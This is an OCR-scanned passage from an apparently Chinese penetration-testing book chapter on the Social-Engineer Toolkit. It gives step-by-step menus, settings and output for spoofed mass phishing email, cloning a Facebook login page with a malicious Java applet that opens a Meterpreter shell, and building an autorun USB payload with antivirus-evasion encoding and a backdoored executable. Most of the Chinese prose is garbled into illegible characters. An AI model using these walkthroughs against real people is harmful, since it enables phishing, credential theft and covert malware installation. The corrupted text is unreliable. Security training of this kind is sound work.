* root@bt: _n'pentfst_.fexpluitﬁ.fsat

BT
U TR O S

# DEFINE THE PATH TO METASPLOIT HERE, FOR EXAMPLE /pentest/exploits/

framework3

METASPLOIT PATH=/pentest/exploits/framework3
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B —AMACE R T 5 Metasploit %%% H 43¢, SET [ IE#IIZ 1T 7 2 Metasploit B3,
Ak SET 75 22 A\ A28 H A o 48 Ay A1 0 A A A G35 o

# SPECIFY WHAT INTERFACE YOU WANT ETTERCAP TO LISTEN ON, IF NOTHING WILL
DEFAULT

# EXAMPLE: ETTERCAP_ INTERFACE=wlan0
ETTERCAP_INTERFACE=ethO

#

# ETTERCAP HOME DIRECTORY (NEEDED FOR DNS SPOOF)
ETTERCAP_ PATH=/usr/share/ettercap

Ettercap is a multipurpose sniffer for switched LAN. Ettercap section can
be used to perform LAN attacks like DNS poisoning, spoofing etc. The above SET
setting can be used to either set ettercap ON of OFF depending upon the usability.
# SENDMAIL ON OR OFF FOR SPOOFING EMAIL ADDRESSES

SENDMAIL=0FF

HLFEECFAR S5 4% (sendmail) 8 T SCBL LT WA, HATE B br i T BEPEAR 5548
AREAT R M ERAN, X—BahA ed. BAFR T, xE&EAN OFF.

N MR E R T SET FR R 0 — Rk, SRR Vs @ o
4 F AT A B3 2 3B RERY Java applet #EATE4, 25 FRATHTRIM 81 Java
applet VE A Bt

# CREATE SELF-SIGNED JAVA AFPPLETS AND SPOOF PUBLISHER NOTE THIS REQUIRES
YOU TO '

# INSTALL ---> JAVA 6 JDK, BT4 OR U3UNTU USERS: apt-get install openijdk-
6=-jdk

# IF THIS IS NOT INSTALLED IT WILL NOT WORK. CAN ALSO DO apt-get install
sun-javaé-)dk

SELF_SIGNED APPLET=0FF

7 Ji T A 3555 P S R B 5 iR AT VR VR . BT BGE I  EAE R G %3k IDK,
REILBOE 0 ON,  DMBEXTSLIET VR gl iR i A .

SELF_SIGNED_APPLET=ON

# AUTODETECTION OF IP ADDRESS INTERFACE UTILIZING GOOGLE, SET THIS ON IF
YOU WANT

# SET TO AUTODETECT YOUR INTERFACE
AUTO DETECT=ON
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SET T HAUfi ] AUTO DETECT #Ric #4288 . R 8 A NAT/ o6 DK
W SET £33 1/ i 1P Hhk, I i P 23S R Y Internet.

HEAT FIOAOACE, B 7 Apache web IR 25 HATIET Web B 77k, B T RAELH
itk e, BUCKIHEBRE S ON.

4 USE APACHE INSTEAD OF STANDARD PYTHON WEB SERVERS, THIS WILL INCREASE
SPEED OF

# THE ATTACK VECTOR

APACHE SERVER=0FF

#
4 PATH TO THE APACHE WEBROOT

APACHE_DIRECTDRY=fvarfwww

AT FIHAECE, 7E8E1T web I B0 & SSL UE+5. #Rif SET ) WEBATTACK_SSL
WEPFE L bug, BULZVFICHEA OFF.

# TURN ON SSL CERTiFICATES FOR SET SECURE COMMUNICATIONS THROUGH
WEB ATTACK VECTOR
WEBATTACK_SSL=0OFF

AT FTHAARE, I7EHIT Web MWih R HEZAMIEY, KNS HIESHE:
Untrusted certificate, [R5 (U FH 2% 101 DL g 4% 75 B .

# PATH TO THE PEM FILE TO UTILIZE CERTIFICATES WITH THE WEB ATTACK VECTOR
(REQUIRED)

# YOU CAN CREATE YOUR OWN UTILIZING SET, JUST TURN ON SELF SIGNED CERT

# IF YOUR USING THIS FLAG, ENSURE OPENSSL IS INSTALLED!

#

SELF SIGNED CERT=OFF

BEAT FHIMACE, FEBCEAT o i 0SB At A Metasploit VT 4% .

# DISABLES AUTOMATIC LISTENER - TURN THIS OFF IF YOU DON'T WANT A
METASPLOIT LISTENER IN THE BACKGROUND.
AUTOMATIC LISTENER=ON

BEAT FEIMACE, SET vlfE4 i) T AR, AT ZWKE T Metasploit [ ThHE,
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{HE A 2 A Metasploit —i&2AE ], LUER &2 ENA AT EE.

# THIS WILL DISABLE THE FUNCTIONALITY IF METASPLOIT IS NOT INSTALLED AND
YOU JUST WANT TO USE SETOOLKIT OR RATTE FOR PAYLOADS

# OR THE OTHER ATTACK VECTORS.

METASPLOIT MODE=ON

g A2 SET S B B A ECE AT, (Eff M IR W SO QN A A BY T 28U
At THRTAM.

EBRIE

SET Mt B 32 SET T RAMZL, Hrh BRI E R SET fERAT B, BRI
SET AL (& FBEATRNR, Fit, ZEAGKHUFR SR, 80202 R E ok b &k
WFVEME R . LR “ERESL” Jo 7 M A 41 7 B SO A S A, A BT B AR A
B B S B A .

10.4 a0 &R

e S HGE 2 R T — M g R . ERBuhE R, Bk H bR
PURIEER B TR, b T b s FinfEbht, T2 sendmail IRS2%, FHE0F ok
7 SENDMAIL=ON. WIEit%EH %3 sendmail, o LUEH T4 TFik.

root@bt:~# apt-get install sendmail
Reading package lists... Done

EE
EST R ABGE Z AT, BT W TR R TAEPLEE.

Ay A, BB BT IR A S i B K (a5 K. SPF iR HiiA. RBL Wil
MA AR RIG M, XEER0UE A OR A i 04 s 7l >k B 535 1P bk A 7 14 e 7
MEPF R 2545 . Biltn, SR04 L i bE richyrich@gmail.com 3K [ TP 202.145.34.23,
W2 hnic AR, FAZ P HbEARE T Gmail, FHitk, ABEx s, Sohd s
LRSS 2% IP AAFAE T RBL/SURL %R o b 144 £ B0k v AT FE 7 R dn e, 1
e, o NZon BEARIE MR N A TR, WRERISAE P AR T RE R R ST (.
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B fa T AT P R 2 7Y - Web A AR THGREAT N2

ERTHMFE YT, 8Nl BB EGEEAT, Hii FRZBEE FHERAEA VT
AT BATRE RSB, AT AN %% BB A AN RIR BRI B 4R, FRR R A B s -F B9 HTML
A2, 40 Java applet. Flash. PDF 5k MS Word/Excel %% .

SR
PP B S 3 FANRI M H i ki, R i o e kAT .

l) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template

899) Return teoc Main Menu

JETH 1 X R KB RE By, X R 5k e TR B R B Ay, B AT LU
Metasploit il A CHSEER FPIEFAER BT, RIGTEAE B nl LARES At 7 19
REFRREFY, ETPIARAEE vne IRSEE. PUTHEEST. Rah@r 1T

MR AR 3D sendmail ARG 2% AR SCIERE R AR, AR

B AR
R4 Mt .

« root@bt; /jpentestiexploits/set

1 Hel

ela, (s B2 i RS (1t Gmail 5% Yahoo!), #{#H B 2 #9lE4:
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iR 55 4% o

1. Use a gmail Account for your email attack.

2. Use your own server or open relay

set:phishing>1
set:phishing> From address (ex: moof@example.com) :bigmoney@gmail.com

set:phishing> Flag this message/s as high priority? [yes|no]:y

BCE H O MR AR 55 A8 AN AR T 5E,  BOh K2 B0l A AR 55 2 04T S Im) 206, DA A
FL A ) A= sk k42 4 )

R — Ryt e vk, BRGSO SRR B AT, R e He
PEAROEE| HARHLAS, 1k MS Word #eili, R4 X Ff SORS 8 B IE 3 HRBE R, DRt
i AE L R A

set:phishing> Setup a listener [yes|no]:y

E_] o W

[-] * WARNING: Database support has been disabled

E_] % & ¥k

e, HIRBER(E Bl 2 E @ AS, RWE.Z )G, 5 Metasploit Hi W 8§,
FEEAE TR SO, I3 230 H ArpL28 [0 2 Bk 7 HLe8 .

HL ISR S0t (0 i) 5 5 LT BT ST 0] i B A 2 7 i, K] e B A R L
B S0 F PR EAT IER 537 -
EHIE

IEWRTEIPT R R, St —Fhexife e H /o ko TRBGE . EXR P, %
i o) FbRF P LA AOE B MR, S TR, MARER R HARLES EmE s
i, Bk S e R ST AR AS B Bk 7y LA Y S 1A) shell 8. SET Ak lix—it
i, e TRENERRRE - FMELRESEVENS R, FEARHE P FEREE S IEHIT.

10.5 P PGH R R

SET T EALF] Web attack J<5F|F £ Fh Web B BUg H#7, X & SET T B P BT
ITHBCE Uk, AR s LT 3 50 2% autopwn (AT LUK JLAP a4 2 0 %cds & 2% 3 5 7 i
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Uik D

@ =] & b W

SET T B ) web attack &t F B i ik

. The Java Applet Attack Method

. The Metasploit Browser Exploit Method
. Credential Harvester Attack Method

. Tabnabbing Attack Method

. Man Left in the Middle Attack Method
. Web Jacking Attack Method

. Multi-Attack Web Method

. Return to the previous menu

AR R P BRAT ) Java applet Wil ik, TFHIFE— FWf{ER SET $ATIX—

Wit

b33

LT Java applet MGGk, BHIGIERE —MIEI, R/a S HERE B EKE T M
U, BERTCLERE H e OB, BT BUSERE— 52 81 URL. FHTA— FERFEM R
PAT AL

EHZIH

BEPATEA I, HE ARV EEREA G AR . Kk, BEAA 5
I 122 A ) e £ Bt bl P SR AT B F B AR 3 ) AN 5 52 s Y 3t A7 A AR KD 2

(1) BEIFR7ERE, HATHEGES BN URL, T/ % Facebook B 5% I i & 7~ .

i L B =

. Web Templates
. S5ite Cloner
. Custom Import

. Return to the main menu

Enter number (1-4}: 2

SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com

Enter the url to clone: http://www.facebook.com
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[*] Cloning the website: https://login.facebook.com/login.php
[*] This could take a little bit...

(2) SERFEBE)G, RHRRERREGEEAT, PTG R R HbRpLas L RE— ST

(3) sel Lk FBR)G, SET Web li&5#86 5 msf —il2fHi3h, 76 HArHLEE EIAT B4
firJ5i, MSF 36t e Sz 1) 26 £ 1) Ak B P b 4T B .

(4) W] LL{E/pentest/exploits/set/src/web_clone/site/template &b+ 2 E 7 B (KR AN jar L1,
M HAAH PV SCRERAMNE GEfrEhErmESz b)) Z2E, S —&HEE, FEkE
LN EEHL.

o'y e ek L LN e A i SRR el T i 2 S A Ry ‘x' .-.. T
Al R N e gl s e e R e e i i i S e e il i - bl e Fe o

|

| An applet from “/bookme.x 10.mx" |s requesting access
i o your computer.

L The degial signature could not be verified,

]
l 0 allow all sppdets from Thaokene x 100 ma” with this signatuee
1

@ ( Show Details .. ) { Deny ) { Allow

seit, HaxH P sy Allow )i, BB applet K579 LLRAT , JF AT B0t 84T, 17 Metasploit
W 28K BCRISR B H ARALER ) 5 1) iR, AR Rl R TS IR &1 .
[*] Sending stage (748544 bytes) to 192.168.56.103

[*] Meterpreter session 1 opened (192.168.56.103:443 ->
Thu Sep 09 10:06:57 -0400 2010

msf exploit(handler) > sessions -i 1

[¥*] Starting interaction with 1...

meterpreter > shell

Process 2988 created.

Channel 1 created.

Microsoft Windows XP [Version 6.1]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>
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Aefoltth, AT APAAT AR . M EIRFRFAT UG 2], {EM SET Al LAR A5 Hh i d 4
didik, RO RO TR A RES, 1 H, SET B M EOKIIGFAL 2 n] BATE
A An] 7 2 0 e i e Bk Ty AT BT

EHTIE

Java applet G —ANNH 210 Java applet Jill, TIESZIRP PP EREE 2 AMRAT
applet /NFEIT . R4 A 241 applet, —ME#EREAE R GEVS M1 45 PR R 48 W8 YR (¥ 2R
BEPHATHI . — HBRER applet #LIIAAT, KEEIREUH FRALEE AT A SRR UT AR, B2h
N B ATEV T2 AT o Flnfik Java I PATERRBEHAT. Holh, ALt
T Web B 77 A8 A LA B AR 1618 3 HAR R4 . #ha TRE%H LR —FMKIRZ
AR, HETE T OhiE Pl 5ORSs H brH 5 . Bobd ol e8RS e, JER B & 7E href
PRET, BEMHAEE LN applet 1T840, CMEERFRKRTSEE. SET BHUE %
VX R BT ) B R

10.6 2 Xl Web Kk

a5 8, 2Bk Web J5iE 2 LR I ik 5 B2, Ak Web Wi R RE R —
MFHIE R SRR vk, Bod 3 oDk LA IR R ACRE iR B, IF4E H A
PHTIPEESCHECURL Z )b, #08 — ik, EZEMERohBdi. 58 SET, AILLEB){EH
S T ki Ty AR B Web Bl RS . Tl & 72 Bl Web K&

SR

% Wili Web KK A s M SARAE T Web BUdi 6B, AR HE— MR, XM AT LA
RPN, LU R . ZERHET F—AP R, AR R T LA N E] Web Beitip
£ 25 Tl 0 10 41 AR

T A F T T i

. The Java Applet Attack Method (OFF)

. The Metasploit Browser Exploit Method (OFF)
. Credential Harvester Attack Method (OFF)

. Tabnabbing Attack Method (OFF)

. Man Left in the Middle Attack Method (OFF)
. Web Jacking Attack Method (OFF)

(o 3 T 5 1 SR = S R 5 I S
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7. Use them all - A.K.A. 'Tactical Nuke'
8. I'm finished and want proceed with the attack.

89, Return to main menu.

Enter your choice one at a time (hit 8 when finished selecting):

A LLEREA R B i, &R LIS, ATUMERIEI 8 ke e i) LR St i ik A
PR B — B R R . Ba, R E RS AT S T 95 A8

BHIIE

PSR HGE G, SET ¥pX e ik LB Ar S 2 &, WE-—A s
TR, DREchEE XA S TEM T ERITER .. BRG] B P Atz B,
B ERE —NMEHRH P EER S AENBGEER . BiaH D Az G, ST
i FE S E BN, BBEMAEIGERD). — B RIENRR RS BEE,
B AT B T, B R R Metasploit WUt 25 ) Bz [n] 1% 82 .

10.7 Jriikderdch

I I I e Bk A — A AR R B Mok ik, SET R8I AE T Metasploit (8T, &
SRS, FFAERR AN SO, SO R B S A F) DVD/USB AHilith, A ETE H AR
PLEs B G, WER BNETEBURBEER, e RBGE MRS A 3hAT, BT H
PRALER 42 1

BRI

ROFh Bl 77 VA R R AT AT R 10 S AR g B, 8 A5 T o 4 8 ot L E AT G
g, DL R RE By 9 8 KA A DR 4 i it -

Name : Description:

l. Windows Shell Reverse TCP Spawn a command shell on
victim and send back to attacker.

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on
victim and send back to attacker.

3. Windows Reverse TCP VNC DLL Spawn a VNC server on victim
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and send back to attacker.

4. Windows Bind Shell

accepting port on remote system.

5. Windows Bind Shell X64

Bind TCP Inline

6. Windows Shell Reverse TCP X64
Reverse TCF Inline )

7. Windows Meterpreter Reverse TCP X64
(Windows x64), Meterpreter

B. Windows Meterpreter Egress Buster
find a port home wvia multiple ports
9. Import your own executable

executable

Enter choice (hit enter for default):

Execute

Windows

Windows

Connect

Spawn a

Specify

Below is a list of encodings to try and bypass AV.

Select one of the below, 'backdoored executable'

avoid utf8 tolower (Normal)
shikata _ga nai (Very Good)
alpha mixed (Normal)

alpha upper (Normal)

call4 dword xor (Normal)
countdown (Normal)

fnstenv_mov (Normal)

@M =1 o W B W M

jmp_call additive (Normal)

9. nonalpha (Normal)

10. nonupper (Normal)

11. unicode mixed (Normal)

12. unicode_upper (Normal)

13. alpha2 (Normal)

14. No Encoding (None)

15. Multi-Encoder (Excellent)
16. Backdoored Executable (BEST)

payload and

¥x64 Command

¥64 Command

back to the

meterpreter

create an

Shell,

Shell,

attacker

shell and

a path for your own

is typically the best.
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Enter your choice (enter for default):

[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few

seconds...

[-] Backdoor completed successfully. Payload is now hidden within a legit

executable.

[*] Your attack has been created in the SET home directory folder

"autorun"
[*] Copy the contents of the folder to a CD/DVD/USB to autorun.
[*] The payload can be found in the SET home directory.

[*] Do you want to start the listener now? yes or no: yes

[*] Please wait while the Metasploit listener is loaded...

BHIE

Al CL b B 2 5 . Metasploit ¥ 0T 8% 55 80 3 % FF S ) iEHE . X Rh B gy v i e
— AR BER G UGS B shiE Tk, ST AN LGS .

X R M T EE R T HARPLEs b 1B kKBS 0R 9 2 F RSO . LA K 2 BB i
eSS 8 g RThae, i FEOXF IR R0 . X Fh G ke, B3R
N 5208 75 00 Ok J T TREFP R B n] A TR P el PDF SRS, FF LB A BIR G /o,
M PRUE H BRIl as AT Bt 8
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